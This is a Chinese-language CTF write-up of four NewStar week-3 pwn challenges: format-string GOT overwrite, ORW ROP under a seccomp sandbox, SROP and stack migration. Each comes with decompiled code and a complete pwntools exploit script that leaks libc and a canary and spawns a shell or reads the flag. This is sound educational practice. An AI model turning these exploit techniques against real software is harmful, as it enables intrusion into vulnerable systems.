newstar week3 pwn
巩固知识,如有错误记得纠正,感谢师傅们的评阅
puts or system?
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-34h] BYREF
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v6; // [rsp+38h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(argc, argv, envp);
puts("Welcome to NewStar CTF!!");
while ( 1 )
{
puts("Give me some gift?(0/1)");
__isoc99_scanf("%d", &v4);
if ( v4 != 1 )
break;
puts("What's it");
read(0, buf, 0x100uLL);
puts("Oh thanks,There is my gift:");
printf(buf);
puts("/bin/sh");
}
return 0;
}
无限循环的格式化字符串
思路
改puts为system即可
from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",27036,"./pwn",10)
context(os='linux', arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
#8
sla(b'gift',b'1')
sla(b'it',b'%15$p')
#格式化字符串泄露libc
leak=get_addr_int()-libc.sym['__libc_start_main']+0x30
li(leak)
sys=system(leak)
pl=fmtstr_payload(8,{elf.got['puts']:sys})
#格式化字符串改got表
sla(b'gift',b'1')
sla(b'it',pl)
#debug()
ia()
orw&rop
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
sandbox();
mmap((void *)0x66660000, 0x1000uLL, 7, 50, -1, 0LL);
puts("Try to escape the sandbox");
read(0, buf, 0x20uLL);
printf(buf);
puts("I think you can get flag now");
read(0, buf, 0x100uLL);
return 0;
}
给我们开辟了一个权限为7的空间,就是让我们写shellcode到这里
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
有沙盒,写orw
发现栈里没啥libc,我们写一个libc进去
泄露得到libc基址和canary
思路
栈溢出写read函数,并且read的内容写在开辟的空间内,然后返回开辟的空间
直接看wp,里面有详细注释
from pwn import*
from Yapack import *
libc=ELF('./libc.so.6')
r,elf=rec("node4.buuoj.cn",29023,"./pwn",0)
context(os='linux', arch='amd64',log_level='debug')
#debug('b *0x40136E')
#11 6
#6是我们写入的位置,泄露8是因为我们写入puts@got经过我们的对齐,现在在8号位置
#11是canary的位置
pl=b'%8$s.%11$p'+b'\x00'*6+p64(elf.got['puts'])
sla(b'sandbox',pl)
leak=get_addr_u64()-libc.sym['puts']
li(leak)
ru('.0x')
can=int(r.recv(16),16)
li(can)
#ROPgadget --binary libc.so.6 --only 'pop|ret' | grep 'rdi'
#搜到就加上libc基址就可以了
retn=0x0000000000029cd6+leak
rdi=0x000000000002a3e5+leak
rsi=0x000000000002be51+leak
rdx_r12=0x000000000011f497+leak
read=leak+libc.sym['read']
pl=cyclic(0x28)+p64(can)+p64(0)
#栈溢出
pl+=flat(rdi,0,rsi,0x66660000,rdx_r12,0x200,0,read)
#写read(0,0x66660000,0x200)
pl+=flat(0x66660000,retn)
#返回执行0x66660000
sla(b'get flag now',pl)
#orw
sc=shellcraft.open('./flag')
sc+=shellcraft.read(3,0x66660000+0x200,0x100)
sc+=shellcraft.write(1,0x66660000+0x200,0x100)
#sleep(0.3)
sl(asm(sc))
#debug()
ia()
srop
.text:0000000000401145 var_30= byte ptr -30h
.text:0000000000401145
.text:0000000000401145 ; __unwind {
.text:0000000000401145 F3 0F 1E FA endbr64
.text:0000000000401149 55 push rbp
.text:000000000040114A 48 89 E5 mov rbp, rsp
.text:000000000040114D 48 83 EC 30 sub rsp, 30h
.text:0000000000401151 B9 30 00 00 00 mov ecx, 30h ; '0'
.text:0000000000401156 48 8D 15 C3 2E 00 00 lea rdx, buf ; "welcome to srop!\n"
.text:000000000040115D BE 01 00 00 00 mov esi, 1
.text:0000000000401162 BF 01 00 00 00 mov edi, 1 ; sysno
.text:0000000000401167 B8 00 00 00 00 mov eax, 0
.text:000000000040116C E8 CF FE FF FF call _syscall
.text:000000000040116C
.text:0000000000401171 48 8D 45 D0 lea rax, [rbp+var_30]
.text:0000000000401175 B9 00 03 00 00 mov ecx, 300h
.text:000000000040117A 48 89 C2 mov rdx, rax
.text:000000000040117D BE 00 00 00 00 mov esi, 0
.text:0000000000401182 BF 00 00 00 00 mov edi, 0 ; sysno
.text:0000000000401187 B8 00 00 00 00 mov eax, 0
.text:000000000040118C E8 AF FE FF FF call _syscall
.text:000000000040118C
.text:0000000000401191 C9 leave
.text:0000000000401192 C3 retn
.text:0000000000401192 ; } // starts at 401145
.text:0000000000401192
.text:0000000000401192 main endp
直接看汇编了
提供了一次write,和一次read,并且是超大溢出的read,
一眼srop
思路
构造frame,溢出打srop,看exp有详细解释
from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",29023,"./pwn",0)
context(os='linux', arch='amd64',log_level='debug')
rdi=0x0000000000401203
lea=0x401171
syscall=elf.sym['syscall']
bss=0x404050+0x200
#目的是执行execve('/bin/sh',0,0)
#这个frame就是为了execve(bss,0,0)然后这个bss我们写个/bin/sh
fr=SigreturnFrame()
fr.rip=syscall
fr.rdi=59
fr.rsi=bss-0x30
#这里为什么要-0x30,因为这一段加了0x30
#.text:0000000000401171 48 8D 45 D0 lea rax, [rbp+var_30]
#就是相当于0x404050+0x200+0x30-0x30=0x404050+0x200
fr.rdx=0
fr.rcx=0
fr.rsp=bss+0x38
#这里就是设置栈顶
pl=cyclic(0x30)+flat(bss,lea)
#迁移到bss段,然后再执行一次read,并且这次read的写入的位置是0x404050+0x200
sa(b'srop',pl)
sleep(0.3)
pl=b'/bin/sh\x00'+cyclic(0x30)+flat(rdi,0xf,syscall,fr)
sl(pl)
#debug()
ia()
stack migration revenge
多次栈迁移
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
只开了NX 64位
int vuln()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
puts("I've seen you before!");
puts("just chat with me:");
read(0, buf, 0x60uLL);
return puts("so funny");
}
程序非常简单,溢出只能覆盖rbp和rip
.text:00000000004011FF 48 8D 45 B0 lea rax, [rbp+buf]
.text:0000000000401203 BA 60 00 00 00 mov edx, 60h ; '`' ; nbytes
.text:0000000000401208 48 89 C6 mov rsi, rax ; buf
.text:000000000040120B BF 00 00 00 00 mov edi, 0 ; fd
.text:0000000000401210 B8 00 00 00 00 mov eax, 0
.text:0000000000401215 E8 56 FE FF FF call _read
.text:0000000000401215
.text:000000000040121A 48 8D 3D 0C 0E 00 00 lea rdi, aSoFunny ; "so funny"
.text:0000000000401221 E8 3A FE FF FF call _puts
.text:0000000000401221
.text:0000000000401226 90 nop
.text:0000000000401227 C9 leave
.text:0000000000401228 C3 retn
多次利用这个段,多次使用read(0,[rbp+buf],0x60)
又因为rbp可控,用ROPgadget可以找到pop_rbp
并且第一次溢出就是覆盖了rbp
思路
通过多次栈迁移在bss段写,然后泄露libc,getshell
from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",29182,"./pwn",10)
context(os='linux', arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
bss=0x404020+0x600
leave=0x401227
lea=0x4011FF
rdi=0x00000000004012b3
rbp=0x000000000040115d
pl=cyclic(0x50)+flat(bss+0x50,lea)
#栈迁移到bss段
s(pl)
pl=flat(rdi,elf.got['puts'],elf.plt['puts'])
#泄露puts@libc
pl+=flat(rbp,bss+0x50+0x100,lea)
#控制rbp,并且在此处提前布置好空间用来getshell
pl=pl.ljust(0x50, b'\x00')+flat(bss-8,leave)
s(pl)
leak=get_addr_u64()-libc.sym['puts']
li(leak)
sys=system(leak)
sh=shell(leak)
pl=flat(rdi,sh,sys)
#这里就是在bss+0x50+0x10写了,所以我们迁移到+0x100的地方
pl=pl.ljust(0x50, b'\x00')+flat(bss-8+0x100,leave)
s(pl)
#debug()
ia()